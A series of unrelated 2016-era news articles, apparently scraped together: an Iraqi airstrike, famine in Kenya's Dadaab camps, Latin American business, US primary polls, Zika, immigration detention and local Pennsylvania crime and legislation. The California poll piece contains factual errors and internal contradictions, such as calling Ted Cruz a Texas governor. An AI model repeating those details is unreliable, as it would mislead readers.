Gen. Joseph F. Dunford Jr., chairman of the Joint Chiefs of Staff, watched with Lt. Gen. Sean MacFarland, who heads the U.S. campaign in Iraq and Syria from Baghdad.

It was Dunfords third trip to Iraq since October, and he said he wanted to take stock. He asked MacFarland about the Iraqis will to fight.

MacFarland responded that young soldiers are often eager to take the fight to the militants and are let down and frustrated with officers who fail to press forward in combat.

Its like Napoleon said: There are no bad regiments, only bad colonels, he said. Theyre brave. Theyll fight if theyre well led.

The U.S. is also training Iraqi fighter pilots and sharing intelligence for airstrikes. The partnership was on display Thursday at the Combined Joint Operations Center in Baghdad, where coalition officers and Iraqi commanders plan bombing runs.

The low-slung building has dozens of analysts perched behind glowing computer monitors. Five large flat screens streamed real-time video from U.S. MQ-1 Predator drones and two Iraqi drones, which were watching twin warehouses north of Hit.

About 20 militants were said to be building car bombs in the warehouses. Iraqi pilots flying two Russian-made Su-25 fighter jets in the area were given the coordinates and ordered to destroy the targets.

NEWSLETTER: Get the days top headlines from Times Editor Davan Maharaj >>

Moments later, they dropped two bombs and the flat screens showed plumes of thick gray smoke.

But when the dust settled, the two buildings stood intact. The bombs had missed by 100 feet or more.

The analysts watched on the screens as the suspected militants ran outside and fled to a nearby palm grove, where they disappeared.

Lt. Col. Jeff McCormack, a Marine in the operation center, said he wasnt surprised.

Unfortunately, it happens more times than not with the Su-25s, he said. The Iraqis dont always pull it off.

Times staff writer Brian Bennett in Washington contributed to this report.

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A female farmer swings a hoe at the parched earth in Mwingi district, in Kenyas Eastern province. She was digging a trench to retain rainwater, praying it would come soon. Women do much of the hard labor in Africa. (Rick Loomis / Los Angeles Times)

Third of five parts

DADAAB, Kenya  His rib cage rose and fell with tight, rapid breaths.

Saad Siyat looked shrunken beneath the hospital blanket. His wide-set eyes rolled up into his head, and his body burned with fever.

The boy was unconscious and convulsing when his aunt brought him to the hospital at Ifo camp, one of five massive camps in eastern Kenya filled with Somali refugees. The family had arrived months earlier after a nearly 300-mile journey across the desert.

Saad was suffering from pneumonia and chronic undernourishment  in particular, a protein deficiency known as kwashiorkor. The name derives from a West African term for "rejected one," a child pushed from his mother's breast to make way for a newborn.

Saad was 2 years old. He weighed 18 pounds.

"This child has been sick a very long time," Dr. Ibtisam Salim said as she made her rounds in the hospital's stabilization center, a concrete building filled with emaciated children lying on squeaky metal beds.

She felt Saad's forehead and questioned his aunt, who was shooing away flies and using a soiled rag to wipe mucus from his oxygen and feeding tubes. The boy's mother was at home, tending to her seven other children.

Salim gently held up one of his feet, to show the swelling, a classic symptom of protein deficiency.

"Malnutrition opens up a very big window for infection," Salim said. "It destroys their defenses."

She heard a gasp and stiffened.

"Excuse me," she said, wheeling around on her heels and digging in her bag. She pulled out a stethoscope and held it to the boy's chest.

With the tips of three fingers, she began pumping rapidly on his frail torso.

A woman holds a severely malnourished child at the Ifo camp in Dadaab. More people die of hunger-related causes every year than succumb to AIDS, malaria and tuberculosis combined. (Rick Loomis / Los Angeles Times)

Around the world, population is rising most rapidly in places where life is most precarious.

Across Africa and in parts of South Asia and Latin America, hundreds of millions of people live on the edge of starvation. A drought, flood or outbreak of violence can push them over the brink.

Many end up on the march, crossing borders in search of relief. Some arrive in places like Dadaab, famished and desperately ill. Millions more are displaced within their own countries.

They represent one face of hunger in a world that, on paper at least, produces enough food to feed all 7 billion inhabitants.

Somalia, a nation of 10 million, has one of the highest birthrates in the world, averaging 6.4 children per woman. Runaway population growth, food scarcity and political strife have combined to cause a mass exodus. One-fourth of Somalis have fled their homes.

Last year, during the worst of a three-year drought, shortage turned to famine. Forty percent of Somali children who reached the refugee camps in Dadaab were malnourished. Despite emergency feeding and medical treatment, many died within 24 hours.

More commonly, children live on tenuously, the effects of chronic malnutrition masked by the swelling caused by kwashiorkor. By the time their parents realize how sick they are and take them to the camp hospital, it can be too late.

It has been four decades since advances in agriculture known as the Green Revolution seemed to promise relief from this kind of mass suffering.

An American plant breeder named Norman Borlaug won the Nobel Peace Prize in 1970 for helping to develop high-yield, disease-resistant varieties of wheat and other grains, making it possible to triple harvests around the world.

Mankind finally seemed to be gaining ground on its longtime nemesis: pervasive hunger.

Yet Borlaug cautioned against hubris: "The frightening power of human reproduction must also be curbed," he said. "Otherwise, the success of the Green Revolution will be ephemeral only."

Today, with nearly twice as many people on the planet, his words seem sadly prescient.

The farms have dried up. Some people had died of starvation.  Shamsa Adow Hassan,

a Somali refugee

Nearly 1 billion people are malnourished, according to the U.N. Food and Agriculture Organization. At least 8 million die every year of hunger-related diarrhea, pneumonia and other illnesses  more than succumb to AIDS, malaria and tuberculosis combined. A child dies of hunger every 11 seconds.

In raw volume, the world's farmers produce enough food for everyone. People go hungry in developing countries because they can't afford to buy food and can't grow enough on their own. Inadequate transportation and storage aggravate shortages.

By midcentury, global food production could simply be insufficient. There will be at least 2 billion more mouths to feed, and an expanding middle class will consume more grain-fed beef, pork and other meats.

To meet the demand, the world's farmers will have to double their crop production by 2050, according to researchers' calculations.

Jonathan Foley, a University of Minnesota climatologist, says it's the challenge of the 21st century: "How will we feed 9 billion people without destroying the planet?"

Most of Earth's best farmland is already under cultivation, and prime acreage is being lost every year to expanding cities and deserts, contamination from agricultural chemicals and other causes.

Carving large new tracts of farmland out of the world's remaining forests and grasslands would exact a heavy toll, destroying wildlife and unleashing climate-warming gases now locked in soils and vegetation.

Complicating the problem is that rivers and aquifers are running dry, and heat waves and droughts associated with global warming are withering crops. Pests and diseases thought to have been vanquished are bedeviling farmers again, often in more virulent forms.

Major international research projects are underway to develop hybrid crops to withstand these challenges. But such efforts take decades, and there is no guarantee of success.

"The easy things have been done," said Nina V. Fedoroff, a biotechnology expert at Pennsylvania State University. "The problems that are left are hard."

The traditional low-tech solution to hunger  mass migration is increasingly impractical on a crowded planet.

The looming crisis is expected to be most severe in Africa, where birthrates are high and where the Green Revolution never took hold. By midcentury, the continent's population is expected to double  to 2 billion.

Africa already is home to nearly 30% of the planet's chronically hungry. About 400 million people in sub-Saharan Africa live on less than $1.25 a day, most of which is spent on food.

Increasingly, they are competing with the appetites of wealthier nations, which are snapping up some of Africa's best rain-fed farmland to secure long-term food supplies. The U.S., China and other countries are also using more grain to fatten livestock and make ethanol, pushing up prices.

All of this leaves more and more people on the edge.

People lined up to receive food are funneled through tunnels similar to cattle chutes. Through openings at various intervals, aid workers scoop wheat flour, cornmeal, dried peas, soy protein powder and salt into the refugees gunnysacks. (Rick Loomis / Los Angeles Times)

When it opened in 1991, the camp complex in Dadaab was intended as a temporary shelter for 90,000 Somalis. It now holds the world's largest concentration of refugees: 472,000 and counting.

On a blistering morning, more than 1,000 new arrivals massed outside the fence. Most had trudged through the desert for days or weeks.

Guards bellowed at the mob with bullhorns and swatted men with switches to herd them into lines. Lone refugees were rare; the lines contained families of eight, 10 or more.

Nearly all the newcomers were skinny, some skeletal. As they shuffled through processing stations, workers measured their outstretched arms for body fat. Children were immunized against measles and polio and given a squirt of vitamin A.

Clutching her ration card in one hand and cradling a 2-month-old girl with the other, Shamsa Adow Hassan said she had fled her riverbank farm in Somalia with her husband and four children.

"The farms have dried up," said Hassan, 32. "Some people had died of starvation."

She decided to leave when a rocket struck and killed her father.

At the center of one camp, the new arrivals joined other refugees lining up with empty sacks, plastic jugs and tins to receive two-week rations of food staples. To keep women from being trampled, security officers in white coats put the men in separate lines.

After some jostling and a sprint to the entrance, the refugees made their way through large tunnels similar to cattle chutes, fashioned from barbed wire, chain-link fencing and corrugated metal. Through openings at various intervals, aid workers scooped wheat flour, cornmeal, dried peas, soy protein powder and salt into the refugees' gunnysacks.

Thousands of tons of food are distributed in these camps every year by the U.N.'s World Food Program and other aid organizations. The U.S. government pays most of the cost. Worldwide, the U.N. program feeds an average of 90 million people per year.

On this day, not far from the chutes, Mohamed Abdi Yussuf was holding forth, encircled by some of the camps' younger leaders. They were talking about crowding, the lack of water and a shortage of flour.

Even so, Yussuf said he wanted to have as many children as possible.

At 26, with three children, he is just getting started.

How many does he want? "Seventy," he said. "Sixty boys and 10 girls."

This brought some tittering from his fellow youth leaders. He didn't crack a smile.

"I think these guys will support me," Yussuf said. "Our elders, our fathers, had many children. It's a common idea."

He hadn't consulted his 21-year-old wife and said he planned to divorce her before she turns 40.

"When she stops breeding, I will jump to another young lady."

Asked how he would provide for all those children, Yussuf shrugged.

"I don't worry what the children will feed on," he said. "They have their own fate. They have their own mouths, teeth. God knows what to put in there."

James Mukunga, left, has dealt with years of drought-ruined crops on the small farm he shares with his wife and 12 children in eastern Kenya, about 200 miles from the refugee camps. The family chopped down their few remaining trees to make charcoal to sell. (Rick Loomis / Los Angeles Times)

James Mukunga worries every day about how to feed his children.

Outside Dadaab, across the arid expanses of East Africa, farmers like him are struggling to provide for large families. Once-fertile grasslands have been overgrazed and trampled by herds of goats and cows.

Mukunga lives with his wife and 12 children, 27 goats and one donkey on a small farm 200 miles from the refugee camps.

The skinny Kenyan farmer wore tattered clothes and kicked at a shriveled patch of millet with sandals fashioned from car tires. Stunted stalks of corn, sorghum and other plants poked through sun-baked clay.

This year, like the one before, his crop had failed because of drought. "Since 2004, we have not had a reasonable harvest," Mukunga said.

The family chopped down their few remaining trees to make charcoal to sell. Otherwise, they subsist on donated food from the United States. Their small granary is empty but for a few spent cans of vegetable oil labeled "USAID."

Mukunga wonders if his goats, a source of meat and milk, will survive another dry year.

The family gets its water from a village borehole four miles away. It was a mob scene on this hot day. Dozens of women toting jerrycans waited in the shade of an acacia tree, next to herds of scrawny goats and cattle. A cow licked an empty spigot.

The water pump had run out of diesel fuel, and a few men had gone off to find some.

Hours passed as the thirsty waited for relief.

At the hospital at Ifo camp in Dadaab, Dr. Salim used her fingers to spread Saad's upper and lower eyelids and shined a light into a pupil. Then she went back to work, compressing his chest.

Somali women covered head to toe in brightly colored scarves and dresses crowded around the bed.

A nurse squeezed through with a syringe of adrenaline.

"He's gasping," Salim said, tilting Saad's head back to open his airways.

The boy's aunt, with large frightened eyes, climbed onto the bed, squatting on her haunches. She poured water into his mouth from a red plastic cup.

"Mama, please, please, please ... Mama, please," Salim said, gently moving the woman's arm out of the way.

The doctor continued the chest compressions, faster now.

An assistant brought a hand-pumped respirator. Salim placed a clear plastic mask over the boy's nose and mouth and began squeezing the bag.

As she pumped air into his lungs, she handed her stethoscope to a nurse and said: "Listen  listen to the heart."

She watched as the nurse leaned over the child.

"Is there any heartbeat?"

The nurse met her gaze with a weary expression that left no doubt.

"There isn't," Salim said.

The doctor stepped away from the bed, leaned against the wall and silently wept.

ken.weiss@latimes.com

About the series

Los Angeles Times staff writer Kenneth R. Weiss and staff photographer Rick Loomis traveled across Africa and Asia to document the causes and consequences of rapid population growth. They visited Kenya, Uganda, China, the Philippines, India, Afghanistan and other countries.
Corpbanca and Itau Fuse: On 1 April, the Chile-based Corpbanca and the local subsidiary of Brazils Itau Unibanco formalised their long-drawn-out merger process. The merged entity, the fourth largest bank in the Chilean market, will be known formally as Itau Corpbanca. It will trade under the Itau brand, and will have US$41bn in assets and a US$31bn loan book. The Brazilian parent, Itau UInibanco will control the bank, with a 33.58% shareholding. CorpGroup, former owner of Corpbanca, will have 33.13% of the shares, with the remaining 33.29% in the hands of a range of minority shareholders. The merged Chilean bank will have a 66.28% controlling interest in Corpbanca Colombia and 100% of the shares of Itau Colombia.

Flying Latin Americans: Despite the current slowdown in economic growth, Latin American aviation markets will see robust expansion, various industry executives said at FIDAE, the Santiago-based international aviation fair. German Efromovich, president of Avianca Holdings, said that future opportunities are immense, citing low market penetration. Latin America has 0.4 available aeroplane seats per capita, only one-sixth of the level in the US. At FIDAE, Boeing said that between now and 2035 the region will need to spend US$330bn to purchase 2,040 new commercial aircraft. Demand for air travel in Latin America has grown at an annual average of 7% over the last five years, above the global average of 5%, according to Brazilian plane manufacturer Embraer. According to the regional president of Airbus, Rafael Alonso, by 2034 nine of the worlds 91 mega-cities will be Latin American, boosting the regions significance in terms of the global aviation market.

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With New York in the rear-view mirror, the biggest remaining delegate haul ahead of the summer presidential nomination conventions come with California's June 7 primary.

Last weekend, non-partisan political research firm Gravis Marketing got an early gauge on which Democratic candidate registered Californians are leaning towards. A survey of 846 Democratic voters and 2,088 voters overall shows Democratic Party front-runner Hillary Clinton garnered 47 percent of their vote, six percentage points above Vermont Sen. Bernie Sanders.

More than 80 percent of participants said they are likely to cast ballots, though one-fifth would not have a clear favorite if elections were held today. Gravitas Marketing published their results Tuesday, the same day traditionally left-leaning New Yorkers handed Clinton 139 of the state's 247-delegate total, breaking Sanders' string of seven consecutive primary victories.

Clinton is projected to win outstanding delegates and superdelegates nationwide, but a win in the Golden State, with an ample 546 delegates at stake, would all but assure Democrats of a contested convention.

West Coast Support for Trump

A Capitol Weekly/Sextant Strategies poll found conservative Californians overwhelmingly support Donald Trump, the real estate mogul who just locked up 89 delegates in the Empire State.

Of 1,165 Republicans surveyed, 41 percent favor Trump. Texas Gov. Ted Cruz received 23 percent support, followed by Ohio Gov. John Kasich with 21 percent.

Trump maintains vehement support along the California coast, from San Diego to the Bay Area, much of it coming from Baby Boomers and Silent Generation voters. Those already registered chose Trump over Cruz by 32 percentage points.

One of few bright spots for Cruz came from the 69 percent "strong support" respondents voting for him displayed; 26 percent said they picked the Cuban-American senator solely out of spite for Trump's nomination.

Instead of taking the phone survey method Gravitas Marketing used, this poll collected responses via email addresses in the state's voter file.

Republicans Courting California Delegates

Delegate counts may not mean a whole lot to Clinton by the time the primary rolls around, given her near-insurmountable lead over Sanders, but it may decide whether Trump heads to a brokered Republican National Convention in Cleveland.

California will award 172 GOP delegates, divided by the state's 53 congressional districts that receive three delegates each. Trump is 393 delegates short of the 1,237 needed to win the nominations, meaning that Cruz and Kasich's only chance to contest it rests with a winner-take-all election they trail by a wide margin.

Each Republican candidate is scheduled to address next weekend's California GOP Convention near San Francisco. For Cruz and Kasich, it will be a chance to draw key delegates they need to win over.
In an effort to further monitor the Zika virus awareness and prevention campaign, U.S. Department of Health and Human Services (HHS) Secretary Sylvia Burwell will visit Puerto Rico on April 26, including a meeting with Gov. Alejandro Garcia Padilla.

The HHS Mission to Combat the Zika Outbreak

According to an administration official, Burwell's visit to Puerto Rico is part of an important effort for all of the islands residents, particularly pregnant and childbearing-age women, to inform and protect people from the virus.

During her stay, Burwell will engage in a number of events and meetings that will include Garcia Padilla, a local hospital blood bank tour and visit the Centers for Disease Control and Prevention (CDC) Dengue Branch. The HHS secretary will also host a roundtable at a Loiza health center to hear directly from women affected by the Zika virus.

The two-day trip marks Burwell's first visit to U.S. commonwealth as HHS secretary, although efforts to address the Zika virus has been underway since late last year.

The HHS has been working on preventing, detecting and responding to the Zika outbreak with specific activities ranging from communicating with health care providers, including a special emphasis on obstetricians and gynecologists; ensuring the public has factual information about the virus and steps people can take to better protect themselves from infection; performing research to better understand the relation between Zika and potential health outcomes.

The Obama Administration's Call for Funds

According to the CDC, as of April 13, 448 cases of the Zika virus were reported in Puerto Rico, although the number is expected to rise.

The Obama administration has been "aggressively" working to eradicate the virus, which has commonly spread by mosquitos. The administration has asked Congress for more than $1.8 billion in emergency funding to amplify efforts to combat the outbreak -- both domestically and internationally -- but Congress has yet to approve the funds.

While in Puerto Rico, Burwell is expected to make the case for the congressional funding to combat Zika, which will include $246 million in federal support for Medicaid in the commonwealth and other U.S. territories, plus $165 million in federal support to expand mosquito control programs, enhance lab capacity and intensify surveillance.

While Congress continues to debate on Zika funding, the HHS did allot $589 million to immediately allocate for time-sensitive actions to fight Zika. The aforementioned HHS funding's aim is to find and control these mosquitoes, improve lab capacity and improve support for expecting mothers and babies born with Zika-related complications. HHS did distribute approximately 13,000 Zika prevention kits in Puerto Rico.

Puerto Rico Officials' Zika Warnings

As Latin Post reported, Garcia Padilla acknowledged that the Zika virus outbreak has affected the commonwealth's effort to address its financial crisis. In March, the Puerto Rico governor, citing the CDC, said the Zika virus may affect up to 20 percent of the territory's population by the end of this year.

In a letter written to House Speaker Paul Ryan, R-Wisc., Puerto Rico Education Secretary Rafael Roman Melendez also warned about the virus' harmful impact on children. Melendez said mosquitos are using septic tanks as breeding grounds and unfortunately many schools use septic tanks for wastewater services.

The Zika virus concerns comes as Puerto Rico struggles with a $72 billion debt crisis.

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For the latest updates, follow Latin Post's Michael Oleaga on Twitter: @EditorMikeO or contact via email: m.oleaga@latinpost.com.
At least two undocumented immigrants, being held at a for-profit detention center in Georgia, are waging a hunger strike in protest of their prolonged incarceration.

The Stewart Detention Center is also home of a recent major disturbance where critics sought to have the facility contracted by Immigration and Customs Enforcement (ICE) officials permanently shuttered.

In the case of the latest dispute, ICE officials have released a statement confirming the ongoing hunger strike, but cited privacy issues in declining to release further details.

"ICE takes very seriously the health, safety, and welfare of those in our care and we continue to monitor the situation," reads the agency's statement. "ICE's Stewart Detention Center is staffed with medical and mental health care providers who monitor, diagnose and treat residents at the facility."

ICE Required by law to Review Case After 180 Days

Based on government policy, ICE is required to review each detained immigrant's case after 180 days. Those deemed not to represent a danger of flight, violence, terrorism or spreading an infectious disease are mandated to be released if they are unlikely to be deported anytime in the near future.

Helen Parsonage serves as attorney to several individuals being held at Stewart and told the Huffington Post the ongoing dispute centers around the length of the involved individual's detention.

"There are a number of detainees at Stewart Detention Center that are being held, despite the fact that they don't have a final deportation order - no contest, no nothing," said Parsonage.

Parsonage later confirmed she represents one of the people now refusing food. According to her, the man is a stateless Palestinian facing deportation proceedings for working without authorization on his student visa.

Latest Dispute Sparked by Charges of Prolonged Detention

Reports are the man has now been held for at least six months, amid troubles securing travel documents to his native country or an alternative third country.

"It's a mess," Parsonage added. "All he wants is to either be let out or sent home. He's in his 20s and misses his mother. He wants to go home. If you're going to deport him, do it. If you can't deport him, which I think is the case, then let him go on an ankle bracelet."

Protestors descended on Stewart late last year after a dispute between guards and detainees turned physical. Ultimately, detainees deemed responsible were punished with solitary confinement.

Reports were that protest was also sparked by the length of detentions being meted out, including for those who had already agreed to be deported.

"My understanding is that this is not a prison, this is a detention center," said Luis Pineda, who back then insisted he had been held for at the facility for at least four months. "But it's being run like a maximum security jail."
A financial regulator from New York has informed 13 foreign banks doing business in the state to hand over details about their dealings with Panama's infamous law firm, which helped establish thousands of shell companies.

According to Bloomberg, the Department of Financial Services in New York asked institutions, including the Societe Generale, Commerzbank, Deutsche Bank, Amro Group, and Credit Suisse to provide communications, records, and logs of other transactions between their New York branches and agents or employees of Mossack Fonseca. However, it is to be noted that these banks aren't accused of any illegal doings.

The US law enforcement and the country's regulators are trying to respond to an unprecedented report which alleges wealthy people and international companies of shielding their wealth using companies established by the Panama firm, Mossack Fonseca. The allegations exploded this month following the report published by the International the International Consortium of Investigative Journalists and other news organizations, which claimed that they have obtained 11.5 million documents which outline more than 200,000 shell companies.

The Center for Public Integrity reported that the banks have been given 10 days to respond from the requests. Currently, the regulator is probing for possible violations of rules or regulations linked to Mossack Fonseca. Spokesmen from Societe Generale, ABN Amro, and Deutsche Bank declined to comment while other banks could not be immediately reached.

US prosecutors are searching into whether the leaked files might provide evidence of any illegal activity for new cases and existing ones. Also, prosecutors in the Department of Justice's tax, money-laundering and fraud units are evaluating news reports based on the files. The Justice department is also determining whether the result of the findings points to evidence of corruption or any violations of the country's law, reports Reuters.

The order from the US regulators is similar in form to a subpoena request from a federal prosecutor.
On Thursday, the Illinois Educational Labor Relations Board (IELRB) decided to ask the state attorney general to proceed to court to prevent future illegal strikes by the Chicago Teachers Union.

The move comes after Chicago Public Schools filed the complaint to the labor board in response to CTU's one-day walk-out on April 1 over unfair labor practices. Forrest Claypool, the Chief Executive for Chicago Public Schools said the Labor Board ruled that the CTU leadership cannot conduct any forms of illegal strikes whenever they want, as per Reuters.

As reported by Progress Illinois, the district believes that the one-day strike was illegal because the fact-finding process in the contract negotiations has not been finished. The CTU, however, clarified that the strike was due to unfair labor practices and promised that they will never demonstrate similar strikes again.

According to the Madison Record, the CTU thought that the strikes will highlight their proposal which also includes their claims and solution to the issue. The union wanted a new revenue source in the form of progressive tax reform that would make the super-rich pay their fair share in the state taxes. The union has been planning on making strikes at the Chicago State University and Northeastern University. The group also want to protest at the Mondelez International plant on the southwest side to increase the minimum wage to $15.

The union believes that the governor's labor board is prosecuting its war on workers. The union added that the IELRB was ignoring legal precedents for more than a decade.

The Chicago Public School administrators have already asked for a binding arbitration in order to reach an agreement and avoid any strikes in the future, but the union didn't took the bait and ended the proposal. Governor Bruce Rauner, on the other hand, wants the state to take over the Chicago public school system.
International Centre for Settlement of Investment Disputes (ICSID) ordered Venezuela to pay Vestey Group. The country must pay close to $100 million (70 million) for taking over its ranch under the late Hugo Chavez's asset nationalization campaign.

In 2005, Hugo Chavez sent his soldiers to seize major ranches and repopulated rural areas. According to Daily Mail those rural areas are practically abandoned since the country's oil industry began to flourish in 1920's.

Venezuela's late president Hugo Chavez in 2005 sent in soldiers to seize major ranches and repopulate rural areas largely abandoned since Venezuela's oil industry took off in the 1920s. The late president also refused to pay compensation in foreign currency for the land he took, insisted to pay in Venezuelan bolivars.

Following the seizure of assets, president Hugo Chavez handed the vast number of nationalized cattle land to thousands of farmers. They hope to cultivate crops, but found it to be futile as the flood wiped out the harvest. Some critics said the land previously owned by ranches are swampy plains which only suitable for cattle herding, not to grow crops

Nationalization campaign from Chavez also reached steel and energy industries, His action followed by major arbitration disputes which achieve actualization in the recent years. In Vestey Group case, Hugo Chavez confiscated 717,000 acres from Agropecuaria Flora, a local subsidiary of British company. Recently, Reuters reported that ICSID has ordered Venezuela to pay $98 million (68 million) plus interest, according to a copy of the award seen by Reuters which was first announced by Investment Arbitration Reporter site.

Lawyer for Venezuela Diego Brian Gosis said he will analyze the decision further. He also said the most-likely option for Venezuela is seeking to annul or challenge the arbitration, including other arbitration decisions.

The decision gives a huge blow to Venezuela's economy, which had been hurt by the continuous plunge of oil price. The country's economy has been dependant to oil price when oil was first discovered in Maracaibo, northwest Venezuela in 1922. The country's economy took off since then and Venezuela's economy has been one of the strongest and the most prosperous in South America.

However, as the oil price nosedived, the country's economy faced a pressure, especially after OPEC's meeting in Doha last Sunday failed to reach agreement to freeze oil output. The failure which Venezuelan Oil Minister Eulogio Del Pino blamed on the pressure by United States as quoted by CNBC.

"The United States was behind the pressure. They have a problem with Venezuela, Russia... They are doing this for political reasons and are ignoring their own people suffering. Ask any oil company in the U.S.  they are all very sad because of what happened yesterday,"

ICSID decision to order Venezuela to pay Vestey Group nearly $100 million ( 70 million) has strained the country's economy even more. The nationalization campaign from late president Hugo Chavez has proven to be worthless and burdened the economy instead.
Oklahoma voters are set to vote in November whether to abolish a state constitution article to give way to the return of the Ten Commandments monument to the Capitol grounds.

According to KOCO, the resolution calls for a statewide referendum on whether to abolish an article of the Oklahoma Constitution that prohibits the use of state funds to support a religion. The state Supreme Court has been relying on the constitutional requirement when it ordered a Ten Commandments monument to be removed from the Capitol grounds.

The removal of the monuments has angered several Oklahomans including Republican lawmakers who promised to return the monument to state property as per ABC News.

Representative John Paul Jordan of Yukon said that since the Supreme Court's order, many of his constituents wants to know the steps that could be done in order to get the monument back to the state. Jordan, however, recognizes that it would be hard to undo the court's ruling that is why he is giving the voters the opportunity to remove the basis of the ruling. But as reported by News Channel 4, opponents of the bill thinks this move will only open more lawsuits to which the attorney general will have to defend.

In 2009, the privately-funded monument which was authorized by the Republican-controlled legislature has been the center of controversy. Bruce Prescott, a Baptist minister from Norman, filed a suit and claimed that it violated the state's constitution.

Prescott has been a part of the American Civil Liberties Union of Oklahoma. The group vows to challenge the said resolution in federal court in case the statue will be returned. Ryan Kiesel, executive director of ACLU and a former Democratic lawmaker, accused the GOP of using the monument as part of their political gimmick.

Experts, on the other hand, said even if the voters decide to amend the constitution and succeed in returning the monument to the Statehouse, legal challenges would still prevail under the US Constitution.
Planned Parenthood agreed to submit documents to Missouri Senate in order to avoid contempt proceeding. While state legislature cut funding for the organization and spending more on education sector.

Last week the Missouri Senate ruled the contempt proceeding against two executives of St. Louis' Planned Parenthood to appear before the Senate on April 25. CEO of Planned Parenthood of St. Louis and Southwest Missouri Mary Kogut and Dr. James Miller of Pathology Services Inc. must appear before Senate, or facing charges against them. The charges could bring penalties of $300 in fines and up to 10 days in jail for both of them.

In order to avoid contempt proceedings, St. Louis Today reported that Planned Parenthood made an agreement with the Senate. Senator Kurt Schaefer, R-Columbia and the chairman of the interim Senate Sanctity of Life Committee announced that Planned Parenthood had agreed to submit documents relevant to fetal tissue disposal.

"We do have an agreement with Planned Parenthood that they will comply with the subpoena and produce documents through their lawyer," senator Schaefer said.

Missouri Senate subpoenaed Planned Parenthood in November regarding the six-year documents related to fetal tissue disposal of the organization's abortion practice. Senator Schaefer who is running for Missouri Attorney General leads the Senate committe to investigate the issue.

"I think we were pretty clear what we asked for in the subpoena. We've had discussions with their lawyer," said senator Schaefer. "Again, the misinformation that we wanted six years of personal medical records was simply never asked for. I think they understand that now."

In the press release from the organization, as MissouriNet reported, Kogut says she is pleased with the deal made.

Meanwhile on Thursday, CBS St. Louis reported Senate has also blocked Medicaid funding to be granted to any entity that offers elective abortions. Although State funding is prohibited to pay abortions, but currently Planned Parenthood accepts Medicaid payment for other services such as vaccinations and exams.

Medicaid covers health care for people with low incomes and the budget was allocated at $10.2 billion, with about half of the amount are from the federal government. While for basic aid for K-12 school Senate approve additional $71 million to the nearly $3.3 billion budget. Another additional $2 million is also allocated to boost the Charter School Commission

Meanwhile for higher education, State of Missouri increase core funding by about 4% or $37 million. A representative from higher education said that the raise will be sufficient to prevent increase of tuition for a year ahead.

Planned Parenthood finally agreed to submit documents regarding fetal disposal to Missouri Senate to avoid contempt proceeding. While state legislature cut funding for the organization and spending more on education.
A Pennsylvania bill signed into law Thursday in Allentown simplifies the process for victims of spousal abuse to get divorced.

Under current law, a spouse who refuses to consent to divorce can draw the process out for up to two years, with the potential for three face-to-face counseling sessions required by the court.

Gov. Tom Wolf visited the new Bradury-Sullivan LGBT Community Center at 522 W. Maple St. in the city to sign the measure, sponsored by state Rep. Michael Schlossberg, D-Lehigh.

House Bill 12 empowers victims to take control of their own divorce proceedings and break free from an abusive relationship, Wolf said.

"It happens a lot and the impact is serious and it's widespread," he said. "We need to agree that we're not going to put up with spousal abuse anymore."

Wolf and Schlossberg were joined by advocates for victims of domestic violence, including from Turning Point of Lehigh Valley. The nonprofit accepts referrals of 2,200 such victims a year, about 1,700 of whom need legal assistance, Turning Point Executive Director Lori Sywensky said.

The legal system designed to help couples try to work things out can be just another tool to abuse and control someone, Sywensky said.

"The decision to get free of an abusive spouse is made much more difficult because of issues like division of shared assets and custody of children," she said. "Resolving these issues is never easy, but trying to do this with a person who has assaulted you is impractical and unreasonable."

Taking effect 60 days from Thursday, around June 22, House Bill 12 allows a victim to file for divorce and the law will presume the consent of the other party if they have been convicted of committing a personal injury crime against their spouse.

It also allows the victim to object to court-mandated divorce counseling if they have a protection-from-abuse order or were a victim of a personal-injury crime, for which the other party has been convicted or is in an accelerated rehabilitation disposition program because of his or her behavior.

"This is going to make a real difference in the life of abuse victims," Schlossberg said.

Pennsylvania lawmakers had tried to pass this bill in 2012, but it stalled. It passed the House and Senate unanimously during this 2015-16 term, the House last Nov. 9 and the Senate on April 13.

"I am thankful to my colleagues in the General Assembly and Gov. Wolf for their support of this legislation," Schlossberg said, singling out Sen. Pat Browne, R-Lehigh, for shepherding it through the Senate. "This new law will help ensure that no one in this state is forced to remain legally attached to their abuser through marriage."

The Bradury-Sullivan LGBT Community Center celebrated its grand opening April 9 to provide programs and services for lesbian, gay, bisexual and transgender individuals and families.

Kurt Bresswein may be reached at kbresswein@lehighvalleylive.com. Follow him on Twitter @KurtBresswein. Find lehighvalleylive.com on Facebook.
A New Jersey man accused of driving into two police officers needs to find a lawyer quickly, a Northampton County judge determined.

Jhamaer Keyes

Jhamaer Keyes, 29, of Sicklerville, is accused of pinning a police officer between his car and a police car and running over another officer's foot during a drug sting Sept. 28 in Bethlehem Township.

He is due to stand trial in two weeks but doesn't have a lawyer.

Attorney Gary Asteak removed himself from the case. Keyes told Judge Emil Giordano he paid Asteak 80 percent of his fee and isn't sure what his status with the case is.

Giordano ordered Keyes to apply for a public defender and report back to him next week. He is charged with two counts of aggravated assault and it would be foolish for him to represent himself at trial.

"This is a serious matter, a very serious matter," the judge said.

Reached after the hearing, Asteak said Keyes stopped contacting him and stopped showing up in court. That's why Asteak withdrew as his counsel.

"He was not cooperating with me and I have no time or patience for people who don't cooperate with me," Asteak said.

Keyes is accused of setting up a heroin buy with a confidential informant at the Value Place hotel. When he realized police were on the scene, he quickly put his rental car into reverse, then sped forward, pinning Bethlehem Township police Officer Dean Wilson between his car and an unmarked police car.

Officer Ed Fox fired shots at Keyes' back tire to try to minimize Wilson's injuries. Keyes rammed the car backward and forward until he could squeeze through and drive away. Fox suffered an injured foot and Wilson injured his arm.

Keyes recklessly drove away and reached 120 mph on Route 22 before he got away.

He's charged with two counts each of aggravated assault and simple assault, five counts of reckless endangerment, and single counts of criminal mischief and fleeing police.

Rudy Miller may be reached at rmiller@lehighvalleylive.com. Follow him on Twitter @RudyMillerLV. Find Easton area news on Facebook.
A 48-year-old Northampton County man was arrested Thursday night for allegedly stealing $8,436 worth of tools from an employer who had himself been taken into custody.

John S. Holland Jr. (Courtesy photo | For lehighvalleylive.com)

John S. Holland Jr.'s arrest came after he was sentenced to probation April 14 in an unrelated theft case out of Moore Township. He was free Friday on 10 percent of $25,000 bail after his most recent arrest.

Holland was hired through craigslist.com to work for Edward L. Myers, 50, of Easton, on a sunroom addition at a home in the 400 block of South Watson Street in Palmer Township, according to court records.

Myers, owner of E&S Contracting, and Holland started the job last Sept. 30, but Myers had to tell the homeowner Feb. 3 he had been incarcerated and would be unable to finish the job, police said. Myers had violated probation, handed down for simple assault last June 3 in Forks Township, and would be held until his parole March 15, according to court records.

